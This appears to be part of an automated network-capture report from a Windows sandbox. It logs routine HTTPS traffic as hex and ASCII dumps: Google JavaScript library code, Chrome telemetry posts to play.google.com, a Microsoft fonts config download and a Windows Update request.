62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-11 13:32:09 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-11 13:32:09 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-11 13:32:09 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-11 13:32:09 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-11 13:32:09 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-11 13:32:09 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-11 13:32:09 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-11 13:32:09 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49748	142.250.184.238	443	7860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:32:10 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 13:32:10 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 33 33 31 39 32 37 38 35 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731331927856",null,null,null,
2024-11-11 13:32:10 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=p4BU9HI1jtNUCsD6aDQrp1XnBh7cpLqczxP2l1HpaXHmB5wpIk1AjAf4uAPvaMZD_-2REwIRKxYEdVLJIxJWt9uGUOfxwBl2-mNvMeXeKiV5wnwUOcEnGNuoQ3VYUwBlZqexRnNcdoA4UQtFfKukzCVU1-0YxcHHm5F0nxoH1-ziOGPv9qYwj3ds; expires=Tue, 13-May-2025 13:32:10 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 11 Nov 2024 13:32:10 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 11 Nov 2024 13:32:10 GMT Connection: close Transfer-Encoding: chunked
2024-11-11 13:32:10 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-11 13:32:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:32:11 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-11 13:32:11 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=11652 Date: Mon, 11 Nov 2024 13:32:11 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49750	142.250.184.238	443	7860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:32:11 UTC	928	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 910 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=p4BU9HI1jtNUCsD6aDQrp1XnBh7cpLqczxP2l1HpaXHmB5wpIk1AjAf4uAPvaMZD_-2REwIRKxYEdVLJIxJWt9uGUOfxwBl2-mNvMeXeKiV5wnwUOcEnGNuoQ3VYUwBlZqexRnNcdoA4UQtFfKukzCVU1-0YxcHHm5F0nxoH1-ziOGPv9qYwj3ds
2024-11-11 13:32:11 UTC	910	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 33 33 31 39 32 39 34 36 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731331929466",null,null,null,
2024-11-11 13:32:12 UTC	950	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=hmtUWHmBPtA0O2La-ImT76B2hBXNdosVmYTVmCFNdLI3VO-mWwq069-OosNum9gSCtST6d_GldBmuBYjo7D56yFKa1kJ8copaICZjYvK6-HQmFpKJ7rex-IykbX7V9YfOLkjkqNgvOk799-58gCJoPmGcIMD1ceQVVBSE92-MdkOdG0ziqiK-mv8kqKnh3Up; expires=Tue, 13-May-2025 13:32:11 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Mon, 11 Nov 2024 13:32:12 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Mon, 11 Nov 2024 13:32:12 GMT Connection: close Transfer-Encoding: chunked
2024-11-11 13:32:12 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-11 13:32:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49754	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:32:12 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-11 13:32:12 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=11588 Date: Mon, 11 Nov 2024 13:32:12 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-11 13:32:12 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49755	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:32:16 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1gVZwNE19FHhUY5&MD=zutHWYRy HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-11 13:32:16 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: b5d1b592-09c7-4227-9512-1196095a7e45 MS-RequestId: d1f5cecd-95a0-4811-91a4-eb2976ab9f7e MS-CV: 9uwBIxHBTkibQ8Sn.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 11 Nov 2024 13:32:15 GMT Connection: close Content-Length: 24490
2024-11-11 13:32:16 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-11 13:32:16 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49762	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
